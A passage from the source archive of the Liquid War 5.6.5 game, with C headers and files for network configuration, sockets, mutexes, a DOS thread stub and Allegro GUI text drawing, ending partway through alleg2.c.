/* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : netconf.h */ /* content : functions to transmit the conf over the network */ /* last update : June 30th 2001 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_NETCONF #define LIQUID_WAR_INCLUDE_NETCONF #include "base.h" /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { int cursor_increase_speed; int fighter_attack; int fighter_defense; int fighter_new_health; int number_influence; int fighter_number; int game_time; int cpu_advantage; int cpu_vs_human; int asm_algorithm; int min_map_res; } LW_NETCONF; /*==================================================================*/ /* functions */ /*==================================================================*/ int lw_netconf_send (int *sock, LW_NETCONF * config); int lw_netconf_recv (int *sock, LW_NETCONF * config); int lw_netconf_check (LW_NETCONF * config); void lw_netconf_print (LW_NETCONF * config); #endif liquidwar-5.6.5/src/sockgen.h0000664000372000037200000001024513407756104015534 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : sockgen.h */ /* contenu : wrapper on unix or windows socket functions */ /* last update : March 13th 2001 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_SOCKGEN #define LIQUID_WAR_INCLUDE_SOCKGEN #define LW_SOCK_MESSAGE_SIZE 1000 #define LW_SOCK_IP_SIZE 16 int lw_sock_init (); int lw_sock_exit (); int lw_sock_listen (int *sock, int port); int lw_sock_accept (int *new_sock, char *ip, int *port, int listening_sock, int wait); int lw_sock_connect (int *sock, char *ip, int port); int lw_sock_peek_ex (int *sock, int len); int lw_sock_send_str_ex (int *sock, char *str); int lw_sock_recv_str_ex (int *sock, char *str); int lw_sock_send_buffer_ex (int *sock, char *buffer, int len); int lw_sock_recv_buffer_ex (int *sock, char *buffer, int len); int lw_sock_close (int *sock); extern int LW_SOCK_LOG; #endif liquidwar-5.6.5/src/ticker.h0000664000372000037200000001001113407756104015353 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : ticker.h */ /* contenu : gestion d'un compteur de milliemes de secondes */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_TICKER #define LIQUID_WAR_INCLUDE_TICKER /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int start_ticker (void); void stop_ticker (void); int get_ticker (void); #endif liquidwar-5.6.5/src/mutxgen.h0000664000372000037200000001016113407756104015567 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : mutxgen.h */ /* content : cross platform API to handle basic mutexes */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_MUTXGEN #define LIQUID_WAR_INCLUDE_MUTXGEN /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { void *data; } LW_MUTEX_DATA, *LW_MUTEX_DATA_PTR; /*==================================================================*/ /* functions */ /*==================================================================*/ int lw_mutex_init (LW_MUTEX_DATA * mutex); int lw_mutex_lock (LW_MUTEX_DATA * mutex); int lw_mutex_trylock (LW_MUTEX_DATA * mutex); int lw_mutex_unlock (LW_MUTEX_DATA * mutex); #endif liquidwar-5.6.5/src/thrddos.c0000664000372000037200000001133313407756104015544 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : thrddos.c */ /* content : provides fake thread support under DOS */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "thrdgen.h" /*==================================================================*/ /* defines */ /*==================================================================*/ /*==================================================================*/ /* macros */ /*==================================================================*/ /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Starts a new thread using the given callback */ int lw_thread_start (void (*func) (void *), void *args) { int result = 0; /* * There's no thread support under DOS 8-/ */ return result; } liquidwar-5.6.5/src/music.h0000664000372000037200000000771713407756104015235 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : music.h */ /* content : music related functions */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_MUSIC #define LIQUID_WAR_INCLUDE_MUSIC /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern int MUSIC_VOLUME; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ extern int start_music (void); extern void stop_music (void); #endif liquidwar-5.6.5/src/srvcont.h0000664000372000037200000001151713407756104015604 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : srvcont.h */ /* content : global controler of the network channels */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_SRVCONT #define LIQUID_WAR_INCLUDE_SRVCONT /*==================================================================*/ /* includes */ /*==================================================================*/ #include "base.h" #include "srvchan.h" #include "netconf.h" #include "wwwsrv.h" /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { int sock; int nb_teams; int nb_chans; LW_SRVCHAN chan[NB_TEAMS]; } LW_SRVCONT; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_srvcont_wait_teams (LW_SRVCONT * cont, LW_WWWSRV_DATA * www_data, int nb_teams, int port, char *password, char *callback); int lw_srvcont_tell_who (LW_SRVCONT * cont); int lw_srvcont_final_ok (LW_SRVCONT * cont); int lw_srvcont_replicate_keys (LW_SRVCONT * cont, LW_WWWSRV_DATA * www_data, int lag, char *password); void lw_srvcont_close (LW_SRVCONT * cont); #endif liquidwar-5.6.5/src/rules.h0000664000372000037200000001014713407756104015236 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : rules.h */ /* contenu : choix des regles de jeu */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_RULES #define LIQUID_WAR_INCLUDE_RULES /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int rules_options (void); #endif liquidwar-5.6.5/src/lw6.c0000664000372000037200000001155713407756104014615 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : lw6.c */ /* contenu : advertising for Liquid War 6 */ /* date de modif : 2010 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "back.h" #include "dialog.h" #include "help.h" #include "menu.h" #include "lw6.h" #include "options.h" #include "play.h" #include "error.h" #include "about.h" #include "lang.h" #include "log.h" /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int lw6_advertise_menu (int fade_in) { int ret = 0; DIALOG d[3]; memset (d, 0, sizeof (d)); display_back_image (); if (fade_in) { my_fade_in (); } d[2].proc = NULL; standard_button (d, 0, 0, 1, 1); standard_button (d + 1, 0, 9, 1, 10); d[0].proc = my_textbox_proc; d[0].d2 = 0; d[0].key = 0; d[0].flags = 0; d[0].x = MENU_W_SPACE / 2; d[0].y = (MENU_H_SPACE * 3) / 2 + MENU_H_STANDARD * 2; d[0].w = MENU_VIRTUAL_W - MENU_W_SPACE; d[0].h = (MENU_H_SPACE * 6) + MENU_H_STANDARD * 7; menu_real_coord (d); d[0].dp = lw_lang_string (LW_LANG_STRING_LW6_INFO); d[1].dp = lw_lang_string (LW_LANG_STRING_LW6_OK); ret = (my_do_dialog (d, 0) == 1) ? 1 : 0; return ret; } liquidwar-5.6.5/src/mutxunix.c0000664000372000037200000001417613407756104016006 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : thrdunix.c */ /* content : provides basic mutex support under unix */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "mutxgen.h" /*==================================================================*/ /* defines */ /*==================================================================*/ /*==================================================================*/ /* macros */ /*==================================================================*/ /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int lw_mutex_init (LW_MUTEX_DATA * mutex) { int result = 0; pthread_mutex_t *m; mutex->data = malloc (sizeof (pthread_mutex_t)); if (mutex->data != NULL) { m = (pthread_mutex_t *) mutex->data; pthread_mutex_init (m, NULL); result = 1; } return result; } /*------------------------------------------------------------------*/ int lw_mutex_lock (LW_MUTEX_DATA * mutex) { int result = 0; pthread_mutex_t *m; m = (pthread_mutex_t *) mutex->data; if (!m) { lw_mutex_init (mutex); } m = (pthread_mutex_t *) mutex->data; /* * It's important to use another if(m) test since * mutex might have just been initialized. */ if (m) { pthread_mutex_lock (m); result = 1; } return result; } /*------------------------------------------------------------------*/ int lw_mutex_trylock (LW_MUTEX_DATA * mutex) { int result = 0; pthread_mutex_t *m; m = (pthread_mutex_t *) mutex->data; if (!m) { lw_mutex_init (mutex); } m = (pthread_mutex_t *) mutex->data; /* * It's important to use another if(m) test since * mutex might have just been initialized. */ if (m) { if (pthread_mutex_trylock (m) != EBUSY) { result = 1; } } return result; } /*------------------------------------------------------------------*/ int lw_mutex_unlock (LW_MUTEX_DATA * mutex) { int result = 0; pthread_mutex_t *m; m = (pthread_mutex_t *) mutex->data; if (m) { pthread_mutex_unlock (m); result = 1; } return result; } liquidwar-5.6.5/src/about.h0000664000372000037200000001014213407756104015211 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : about.h */ /* contenu : about menu */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_ABOUT #define LIQUID_WAR_INCLUDE_ABOUT /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_about (void); #endif liquidwar-5.6.5/src/lwwin.rc.in0000664000372000037200000000155013407756104016024 0ustar travistravis#include "windows.h" allegro_icon ICON "./misc/liquidwar.ico" 1 VERSIONINFO FILEVERSION @VERSION_WIN32@ PRODUCTVERSION @VERSION_WIN32@ FILEFLAGSMASK 0x3fL FILEFLAGS 0x0L FILEOS VOS__WINDOWS32 FILETYPE VFT_APP FILESUBTYPE VFT2_UNKNOWN BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "040904b0" BEGIN VALUE "Comments", "A unique multiplayer wargame\0" VALUE "CompanyName", "N/A\0" VALUE "FileDescription", "Liquid War @VERSION@ for Microsoft Windows\0" VALUE "FileVersion", "@VERSION@-@VERSION_REL@\0" VALUE "InternalName", "liquidwar\0" VALUE "LegalCopyright", "Copyright (C) 1998-2018 Christian Mauduit\0" VALUE "OriginalFilename", "lwwin.exe\0" VALUE "ProductName", "Liquid War\0" VALUE "ProductVersion", "@VERSION@\0" END END END liquidwar-5.6.5/src/alleg2.c0000664000372000037200000013520613407756104015251 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : alleg2.c */ /* contenu : reprogrammation de qq fonctions d'allegro */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "alleg2.h" #include "exit.h" #include "macro.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /* typedef for the listbox callback functions */ typedef char *(*my_getfuncptr) (int, int *); /*==================================================================*/ /* variables statiques */ /*==================================================================*/ extern void _draw_scrollable_frame (DIALOG * d, int listsize, int offset, int height, int fg_color, int bg); extern int isspace (int c); static void my_handle_scrollable_scroll_click (DIALOG * d, int listsize, int *offset, int height); static void my_handle_scrollable_scroll (DIALOG * d, int listsize, int *index, int *offset); static void my_handle_listbox_click (DIALOG * d); /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* utilitaires */ /*------------------------------------------------------------------*/ /* dotted_rect: * Draws a dotted rectangle, for showing an object has the input focus. */ static void my_dotted_rect (int x1, int y1, int x2, int y2, int fg, int bg) { BITMAP *gui_bmp = gui_get_screen (); int x = ((x1 + y1) & 1) ? 1 : 0; int c; /* two loops to avoid bank switches */ for (c = x1; c <= x2; c++) putpixel (gui_bmp, c, y1, (((c + y1) & 1) == x) ? fg : bg); for (c = x1; c <= x2; c++) putpixel (gui_bmp, c, y2, (((c + y2) & 1) == x) ? fg : bg); for (c = y1 + 1; c < y2; c++) { putpixel (gui_bmp, x1, c, (((c + x1) & 1) == x) ? fg : bg); putpixel (gui_bmp, x2, c, (((c + x2) & 1) == x) ? fg : bg); } } /* _draw_textbox: * Helper function to draw a textbox object. */ static void my_draw_textbox (char *thetext, int *listsize, int draw, int offset, int wword, int tabsize, int x, int y, int w, int h, int disabled, int fore, int deselect, int disable) { BITMAP *gui_bmp = gui_get_screen (); int fg = fore; int y1 = y + 4; int x1; int len; int ww = w - 6; char s[16]; char text[16]; char space[16]; char *printed = text; char *scanned = text; char *oldscan = text; char *ignore = NULL; char *tmp, *ptmp; int width; int line = 0; int i = 0; int noignore; usetc (s + usetc (s, '.'), 0); usetc (text + usetc (text, ' '), 0); usetc (space + usetc (space, ' '), 0); /* find the correct text */ if (thetext != NULL) { printed = thetext; scanned = thetext; } /* do some drawing setup */ if (draw) { /* initial start blanking at the top */ rectfill (gui_bmp, x + 2, y + 2, x + w - 3, y1 - 1, deselect); } /* choose the text color */ if (disabled) fg = disable; if (fg) { /* * Not elegant, but test above here just to get * rid of compiler warning about fg not being used. */ } /* loop over the entire string */ while (1) { width = 0; /* find the next break */ while (ugetc (scanned)) { /* check for a forced break */ if (ugetc (scanned) == '\n') { scanned += uwidth (scanned); /* we are done parsing the line end */ break; } /* the next character length */ usetc (s + usetc (s, ugetc (scanned)), 0); len = text_length (font, s); /* modify length if its a tab */ if (ugetc (s) == '\t') len = tabsize * text_length (font, space); /* check for the end of a line by excess width of next char */ if (width + len >= ww) { /* we have reached end of line do we go back to find start */ if (wword) { /* remember where we were */ oldscan = scanned; noignore = FALSE; /* go backwards looking for start of word */ while (!uisspace (ugetc (scanned))) { /* don't wrap too far */ if (scanned == printed) { /* the whole line is filled, so stop here */ tmp = ptmp = scanned; while (ptmp != oldscan) { ptmp = tmp; tmp += uwidth (tmp); } scanned = ptmp; noignore = TRUE; break; } /* look further backwards to wrap */ tmp = ptmp = printed; while (tmp < scanned) { ptmp = tmp; tmp += uwidth (tmp); } scanned = ptmp; } /* put the space at the end of the line */ if (!noignore) { ignore = scanned; scanned += uwidth (scanned); } else ignore = NULL; /* check for endline at the convenient place */ if (ugetc (scanned) == '\n') scanned += uwidth (scanned); } /* we are done parsing the line end */ break; } /* the character can be added */ scanned += uwidth (scanned); width += len; } /* check if we are to print it */ //if ((draw) && (line >= offset) // && (y1 + text_height (font) < (y + h - 3))) if ((draw) && (line >= offset) && (((y1 + text_height (font) < (y + h - 3))) || (line == 0))) // ufoot { x1 = x + 4; /* the initial blank bit */ rectfill (gui_bmp, x + 2, y1, x1 - 1, y1 + text_height (font), deselect); /* print up to the marked character */ while (printed != scanned) { /* do special stuff for each charater */ switch (ugetc (printed)) { case '\r': case '\n': /* don't print endlines in the text */ break; /* possibly expand the tabs */ case '\t': for (i = 0; i < tabsize; i++) { usetc (s + usetc (s, ' '), 0); //textout_ex(gui_bmp, font, s, x1, y1, fg, deselect); textout_ex (gui_bmp, font, s, x1, y1, -1, deselect); // ufoot x1 += text_length (font, s); } break; /* print a normal character */ default: if (printed != ignore) { usetc (s + usetc (s, ugetc (printed)), 0); //textout_ex(gui_bmp, font, s, x1, y1, fg, deselect); textout_ex (gui_bmp, font, s, x1, y1, -1, deselect); // ufoot x1 += text_length (font, s); } } /* goto the next character */ printed += uwidth (printed); } /* the last blank bit */ if (x1 <= x + w - 3) rectfill (gui_bmp, x1, y1, x + w - 3, y1 + text_height (font) - 1, deselect); /* print the line end */ y1 += text_height (font); } printed = scanned; /* we have done a line */ line++; /* check if we are at the end of the string */ if (!ugetc (printed)) { /* the under blank bit */ if (draw) rectfill (gui_bmp, x + 1, y1, x + w - 3, 